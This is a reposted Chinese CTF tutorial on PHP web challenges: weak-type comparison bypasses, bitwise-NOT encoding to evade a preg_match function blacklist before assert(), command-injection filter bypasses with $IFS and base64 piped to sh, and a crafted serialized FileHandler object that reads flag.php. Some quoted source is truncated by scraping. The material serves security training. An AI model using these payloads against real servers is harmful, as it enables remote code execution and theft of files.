返回顶部
首页 > 资讯 > 后端开发 > PHP编程 >p84 CTF夺旗-PHP弱类型&异或取反&序列化&RCE
  • 469
分享到

p84 CTF夺旗-PHP弱类型&异或取反&序列化&RCE

php开发语言 2023-09-05 20:09:18 469人浏览 薄情痞子
摘要

数据来源 文章参考 本课重点: 案例1:PHP-相关总结知识点-后期复现案例2:php-弱类型对比绕过测试-常考点案例3:PHP-正则preg_match绕过-常考点案例4:PHP-命令执行RCE变异绕过-常考点案例5:PHP-反序列化考

数据来源

文章参考

本课重点:

  • 案例1:PHP-相关总结知识点-后期复现
  • 案例2:php-弱类型对比绕过测试-常考点
  • 案例3:PHP-正则preg_match绕过-常考点
  • 案例4:PHP-命令执行RCE变异绕过-常考点
  • 案例5:PHP-反序列化考题分析构造复现-常考点

案例1:PHP-相关总结知识点-后期复现

相关PHP所有总结知识点参考:

https://www.cnblogs.com/iloveacm/cateGory/1791836.html

ctf变量

  1. php的弱类型比较问题
  2. php断言(assert)
  3. php读取目录下文件的方法
  4. preg_match绕过
  5. PHP中sha1()函数和md5()

异或注入

  1. updatexml()函数报错注入
  2. 源文件泄露利用
  3. extract变量覆盖
  4. strcmp()漏洞
  5. md5()漏洞
  6. ereg()截断漏洞
  7. 弱类型整数大小比较绕过

命令执行

  1. md5()漏洞
  2. escapeshellarg()与escapeshellcmd()
  3. sql注入绕过关键字
  4. preg_replace/e的命令执行漏洞
  5. Mysql特殊模式
  6. PHP字符串解析特性

案例2:PHP-弱类型对比绕过测试-常考点

弱类型绕过对比总结:

Https://www.cnblogs.com/Mrsm1th/p/6745532.html

===  在进行比较的时候,会先判断两种字符串的类型是否相等,再比较
==    在进行比较的时候,会先将字符串类型转化成相同,再比较

举例

$num=$_GET['num'];
if(!is_numeric($num))
{
echo $num;
if($num==1)
echo 'flag{**********}';
}

代码解析

$num=$_GET['num'];
// 接收get请求的num参数的值if(!is_numeric($num))
// is_numeric — 检测变量是否为数字或数字字符串,是则返回True // 注意这里前面有个 ! 表示非,意思是如果是true那就反转为false,反之如果是false就会变成true,也就是说这里需要数据不是纯数字才能通过判断{
echo $num;
// echo — 输出一个或多个字符串if($num==1)
// 判断num是否等于1 注意这里是两个 =echo 'flag{**********}';
// 符合条件就打印 'flag{**********}' }

在线的靶场:https://ctf.bugku.com/challenges/index/gid/1/tid/1.html?keyWord=%E7%9F%9B%E7%9B%BE 

 

  

或这里使用phpStudy在本地部署文件

访问:(只要后面的参数不是纯数字就能打印flag)

127.0.0.1/get/index.php

传参1x,得到flag (参数不是纯数字就行) 

也可以添加换行符:1%0a 

案例3:PHP-正则preg_match绕过-常考点

ctf中 preg_match 绕过技术:

真题:preg_match绕过-ctfhub-2020-第五空间智能安全大赛-WEB-hate_php

靶场地址:https://www.ctfhub.com/#/challenge

1)打开页面,显示如下代码

ions()['internal'];    foreach ($blacklist as $blackitem) {        if (preg_match ('/' . $blackitem . '/im', $code)) {            die('You deserve better');        }    }    assert($code);}

代码解析 

正则表达式    if (preg_match('/(f|l|a|g|\.|p|h|\/|;|\"|\'|\`|\||\[|\]|\_|=)/i',$code)) {         die('You are too good for me');   // die — 等同于 exit(),exit — 输出一个消息并且退出当前脚本    }    $blacklist = get_defined_functions()['internal'];   // get_defined_functions — 返回所有已定义函数的数组(就是php常用函数/内置函数)。包括内置(internal) 和用户定义的函数    foreach ($blacklist as $blackitem) {         if (preg_match ('/' . $blackitem . '/im', $code)) {             die('You deserve better');         }     }    assert($code);                           // assert — 检查一个断言是否为 FALSE(这是官方的解释),assert()函数还有个作用就是直接将传入的参数当成PHP代码执行·不需要以分号结尾}

2)第一个正则表达式过滤了相关的关键字。第二个正则表达式过滤了PHP的内置函数,因此即使找到了某个函数恰好可以绕过第一个,也过不去第二个过滤。这样的题目,一般的思路就是利用异或或者取反来绕过。这里用取反来绕过

 第一步绕过思路:取反绕过(把getFlag取反然后URL编码:)

例如对:"getFlag"进行取反

PHP 在线工具 | 菜鸟工具

首先我们要获取当前目录下的文件信息,实现代码:

// print_r()  打印变量// scandir() 列出指定路径中的文件和目录 , '.'  表示当前目录print_r(scandir('.'))

但是前面讲了源代码对函数做了过滤,所以这里我们要把每个函数与函数的参数拆分开来,然后进行取反再进行url编码绕过

拆分成:print_r scandir. 

实现方式跟上面一样,先使用在线的php编译工具取反然后格式化成URL编码,实现代码如下:

编码后的结果: 

%8F%8D%96%91%8B%A0%8D%8C%9C%9E%91%9B%96%8D%D1

开始发送url请求获取当前目录下的文件信息,刚才查看源码发现他是get请求参数是code

?code=print_r(scandir('.'))    # 根据这个url格式将我们编码后的函数与参数拼接起来进行请求?code=(~%8F%8D%96%91%8B%A0%8D)((~%8C%9C%9E%91%9B%96%8D)((~%D1)))    # 使用这个url去发送请求

返回的信息是个数组:Array ( [0] => . [1] => .. [2] => flag.php [3] => index.php )    表示当前目录下有两个文件 flag.php 与 index.php

读取flag.php构造payload 

实现代码:

highlight_file(flag.php) 

拆分成:highlight_fileflag.php

编码后的结果:  

%97%96%98%97%93%96%98%97%8B%A0%99%93%96%9A%99%93%9E%98%D1%8F%97%8F

开始发送url请求读取flag.php

?code=highlight_file(flag.php)     # 根据这个url格式将我们编码后的函数与参数拼接起来进行请求 ?code=(~%97%96%98%97%93%96%98%97%8B%A0%99%96%93%9A)((~%99%93%9E%98%D1%8F%97%8F)) # 使用这个url去发送请求

最后复制获取到的flag,到靶场提交,解题成功

案例4:PHP-命令执行RCE变异绕过-常考点

命令执行常见绕过:https://www.cnblogs.com/iloveacm/p/13687654.html

靶场地址:https://buuoj.cn/challenges#[GXYCTF2019]Ping Ping Ping

1)场景打开如下,页面是/?ip=      很明显这肯定就是个命令执行

​​

2)输入:?ip=127.0.0.1             本地ip地址测试一下

这就相当于我们自己在cmd中手动ping (这就说明这里是可以执行系统命令的)

3)虽然这个靶场现在只是可以执行ping命令,但是我们可以使用特殊字符进行连接让他执行我们需要的命令

常用的特殊字符有:|、;、||、&&、&、$

查看当前目录下文件

?ip=127.0.0.1 ; dir          # dir 是windows的查看文件目录命令

将空格清除再测试

?ip=127.0.0.1;dir          # 这里执行后没有反应,说明服务器不是windows系统

​ 

 这里换成linux系统命令再执行一次,成功列出文件信息

?ip=127.0.0.1;ls           # 使用linux系统的命令测试成功列出当前目录的文件信息

​​

4)尝试读取flag文件

/?ip=127.0.0.1;catflag.php   # cat 是linux系统的查看文件内容的命令,因为前面说了靶机过滤了空格这里就不加空格了

发现过滤了字符 flag  

5)尝试绕过这个字符过滤

https://www.cnblogs.com/iloveacm/p/13687654.html

绕过方式一:变量拼接    ($IFS$数字   -- 相当于空格   $a 是指a 这个变量)

/?ip=127.0.0.1;a=g;cat$IFS$2fla$a.php

但是只有这种绕过方式?我们可以查看靶机源代码(indx.php),分析绕过规则

/?ip=127.0.0.1;a=x;cat$IFS$2inde$a.php       # 这里我将a=g 改成a = x

​​

代码解析:

|\'|\"|\\|\(|\)|\[|\]|\{|\}/", $ip, $match)){    echo preg_match("/\&|\/|\?|\*|\<|[\x{00}-\x{20}]|\>|\'|\"|\\|\(|\)|\[|\]|\{|\}/", $ip, $match);    die("fxck your symbol!");   // die 输出一个消息并且退出当前脚本  } else if(preg_match("/ /", $ip)){    die("fxck your space!");  } else if(preg_match("/bash/", $ip)){    die("fxck your bash!");  } else if(preg_match("/.*f.*l.*a.*g.*/", $ip)){    die("fxck your flag!");  }  $a = shell_exec("ping -c 4 ".$ip);    // shell_exec — 通过 shell 环境执行命令,并且将完整的输出以字符串的方式返回 , -c 4  指定ping的次数为4  echo "
";              // echo  输出一个或多个字符串  print_r($a);               // print_r 打印变量}?>

绕过方式二:内联注释(将反引号命令的结果作为输入来执行命令)

/?ip=127.0.0.1;cat$IFS$2`ls`

绕过方式三:sh

  • Y2F0IGZsYWcucGhw 是base64加密后的字符解密就是:cat flag.php
  • echo  输出一个或多个字符串
  • $IFS$2 相当于空格
/?ip=127.0.0.1;echo$IFS$2Y2F0IGZsYWcucGhw|base64$IFS$2-d|sh

案例5:PHP-反序列化考题分析构造复现-常考点

真题:网鼎杯2020-青龙组-web-AreUserialz

靶场地址:https://www.ctfhub.com/#/challenge

搜索:AreUSerialz

 序列化和反序列化作用(来源

  • 便于存储:序列化过程将文本信息转变为二进制数据流。这样就信息就容易存储在硬盘之中,当需要读取文件的时候,从硬盘中读取数据,然后再将其反序列化便可以得到原始的数据。在python程序运行中得到了一些字符串、列表、字典等数据,想要长久的保存下来,方便以后使用,而不是简单的放入内存中关机断电就丢失数据。Python模块大全中的Pickle模块就派上用场了,它可以将对象转换为一种可以传输或存储的格式。
  • 便于传输:当两个进程在进行远程通信时,彼此可以发送各种类型的数据。无论是何种类型的数据,都会以二进制序列的形式在网络上传送。发送方需要把這个对象转换为字节序列,在能在网络上传输;接收方则需要把字节序列在恢复为对象。

反序列化漏洞原理:(来源

        未对用户输入的序列化字符串进行检测,导致攻击者可以控制反序列化过程,从而导致代码执行、SQL注入、目录遍历等不可控后果。

        在反序列化的过程中自动触发了某些魔术方法。当进行反序列化的时候就有可能会触发对象中的一些魔术方法。

重要函数:

  • serialize() :将一个对象转换成字符串 。  (序列化)
  • unserialize() :将字符串还原成一个对象  (反序列化)

触发:unserialize 函数的变量可控,文件中存在可利用的类,类中有魔术方法。

__construct()    // 创建对象时触发
__destruct()     // 对象被销毁时触发
__call()            // 在对象上下文中调用不可访问的方法时触发
__callStatic()   // 在静态上下文中调用不可访问的方法时触发
__get()            // 用于从不可访问的属性读取数据
__set()            // 用于将数据写入不可访问的属性
__isset()         // 在不可访问的属性上调用 isset()或 empty()触发
__unset()        // 在不可访问的属性上使用 unset()时触发
__invoke()      // 当脚本尝试将对象调用为函数时触发

发现Flag位置-反序列化考点-分析代码-构造代码生成Payload

具体解题步骤参考前面笔记 来源

https://www.cnblogs.com/zhengna/p/15661109.html

打开靶机获取代码:

process();    }    public function process() {        if($this->op == "1") {            $this->write();        } else if($this->op == "2") {            $res = $this->read();            $this->output($res);        } else {            $this->output("Bad Hacker!");        }    }    private function write() {        if(isset($this->filename) && isset($this->content)) {            if(strlen((string)$this->content) > 100) {                $this->output("Too long!");                die();            }            $res = file_put_contents($this->filename, $this->content);            if($res) $this->output("Successful!");            else $this->output("Failed!");        } else {            $this->output("Failed!");        }    }    private function read() {        $res = "";        if(isset($this->filename)) {            $res = file_get_contents($this->filename);        }        return $res;    }    private function output($s) {        echo "[Result]: 
"; echo $s; } function __destruct() { if($this->op === "2") $this->op = "1"; $this->content = ""; $this->process(); }}function is_valid($s) { for($i = 0; $i < strlen($s); $i++) if(!(ord($s[$i]) >= 32 && ord($s[$i]) <= 125)) return false; return true;}if(isset($_GET{'str'})) { $str = (string)$_GET['str']; if(is_valid($str)) { $obj = unserialize($str); }}

代码解析:(我注释写的很详细,就算你没有学过php也能做这个程序的代码审计)

process();          // 调用process方法(也称为类的成员方法) , $this 指当前类,因为在当前方法调用当前类的另一个方法process()时就要加上$this不然程序找不到    }      // public 定义公有的方法    public function process() {         // 这个process() 方法就是对op进行判断          if($this->op == "1") {          // 判断 op=1?   注意这里是两个= ,判断的是值也就是说只要是1就可以了不管你是数字1还是字符1            $this->write();             // 如果符合判断条件,调用write方法,写入文件的方法        } else if($this->op == "2") {  // op=2?             $res = $this->read();       // 调用read方法,读取文件的方法,方法的返回值是读入到的文件内容            $this->output($res);        // 将$res变量中存储的文件内容,输出 output()方法是下面自定义的输出方法        } else {                        // 否则结束            $this->output("Bad Hacker!");        }    }     private function write() {            // 可忽略,没有意义当 op=1 时才会进入这个函数,我们解题需要op = 2        if(isset($this->filename) && isset($this->content)) {  // isset — 检测变量是否已设置并且非 NULL, 存在并且值不是 NULL 则返回 TRUE,否则返回 FALSE            if(strlen((string)$this->content) > 100) {   // strlen — 获取字符串长度                $this->output("Too long!");                die();            }            $res = file_put_contents($this->filename, $this->content);  // file_put_contents — 将一个字符串写入文件,该函数将返回写入到文件内数据的字节数,失败时返回FALSE            if($res) $this->output("Successful!");  // 判断$res不为空,打印成功的信息            else $this->output("Failed!");          // 否则打印失败信息        } else {            $this->output("Failed!");        }    }    // private 把方法声明为私有的,也就是说只有当前类才能调用    private function read() {                           // 这个方法就是读取文件的方法        $res = "";          // 先将 $res 变量赋值为空        if(isset($this->filename)) {                     // 如果filename存在的话,直接获取文件内容            $res = file_get_contents($this->filename);   // file_get_contents — 将整个文件读入一个字符串    $this->filename 是$this->$filename 在内存中的存储地址        }        return $res;        // 将读入到的文件内容返回    }    private function output($s) {                // 自定义的输出方法        echo "[Result]: 
"; // echo — 输出一个或多个字符串 echo $s; // 将方法接收到的数据($s)输出 } function __destruct() { // 当对象进行销毁的时触发 if($this->op === "2")   // 这里判断op是否强等于"2"(就是类型与值都要相等),如果等于"2" 可以使用数字2或字符串'2'绕过判断,因为等于1是调用写入方法等于2才是读取文件数据的方法 $this->op = "1"; // op赋值"1" $this->content = ""; $this->process(); // 调用process()方法对op的值进行判断 }}function is_valid($s) { // 循环判断字符串的每一次值,是否在32-125内(可见字符之内的字符串),strlen — 获取字符串长度 for($i = 0; $i < strlen($s); $i++) if(!(ord($s[$i]) >= 32 && ord($s[$i]) <= 125)) // !表示非 ord — 转换字符串第一个字节为 0-255 之间的值 (asiic码) return false; // 不符合条件返回false return true; // 符合条件返回true}if(isset($_GET{'str'})) { // $_GET{'str'}获取通过get请求传过来的str isset — 检测变量是否已设置并且非 NULL $str = (string)$_GET['str']; // 将获取到的get参数str赋值给$str变量 if(is_valid($str)) { // 然后str过一下上面的is_valid方法,看一下是否有非法字符 $obj = unserialize($str); // 如果没有直接unserialize反序列化 }}

绕过思路:

1、通过str参数传入值,绕过相关的过滤(就是构造payload)

2、str变量值 - 字符串格式,创建类对象FileHandler 

前面讲了unserialize() 方法将字符串还原成一个对象  (反序列化),就是相当于创建了对象,当创建了对象后就会触发__construct()方法

3、让op = 2,filename = flag.php     #  因为源代码当op=2是就会调用读取的方法,读取filename变量对应的文件

 

4、构造攻击Patload

代码在线运行 - 在线工具

代码解析: 

代码运行结果:

 

 

O:11:"FileHandler":3:{s:2:"op";i:2;s:8:"filename";s:8:"flag.php";s:7:"content";s:2:"xd";}

5)使用攻击 Patload 获取flag

?str=O:11:"FileHandler":3:{s:2:"op";i:2;s:8:"filename";s:8:"flag.php";s:7:"content";s:2:"xd";}

涉及资源:

  • https://www.cnblogs.com/iloveacm/category/1791836.html CTF知识点
  • https://buuoj.cn/challenges 靶场
  • https://www.ctfhub.com/#/challenge ctf
  • http://t.zoukankan.com/v01cano-p-11736722.html ctf中 preg_match 绕过技术 | 无字母数字的webshell
  • https://www.cnblogs.com/iloveacm/p/13687654.html 命令执行

来源地址:https://blog.csdn.net/weixin_43263566/article/details/129659822

--结束END--

本文标题: p84 CTF夺旗-PHP弱类型&异或取反&序列化&RCE

本文链接: https://lsjlt.com/news/396010.html(转载时请注明来源链接)

有问题或投稿请发送至: 邮箱/279061341@qq.com    QQ/279061341

猜你喜欢
  • p84 CTF夺旗-PHP弱类型&异或取反&序列化&RCE
    数据来源 文章参考 本课重点: 案例1:PHP-相关总结知识点-后期复现案例2:PHP-弱类型对比绕过测试-常考点案例3:PHP-正则preg_match绕过-常考点案例4:PHP-命令执行RCE变异绕过-常考点案例5:PHP-反序列化考...
    99+
    2023-09-05
    php 开发语言
软考高级职称资格查询
编程网,编程工程师的家园,是目前国内优秀的开源技术社区之一,形成了由开源软件库、代码分享、资讯、协作翻译、讨论区和博客等几大频道内容,为IT开发者提供了一个发现、使用、并交流开源技术的平台。
  • 官方手机版

  • 微信公众号

  • 商务合作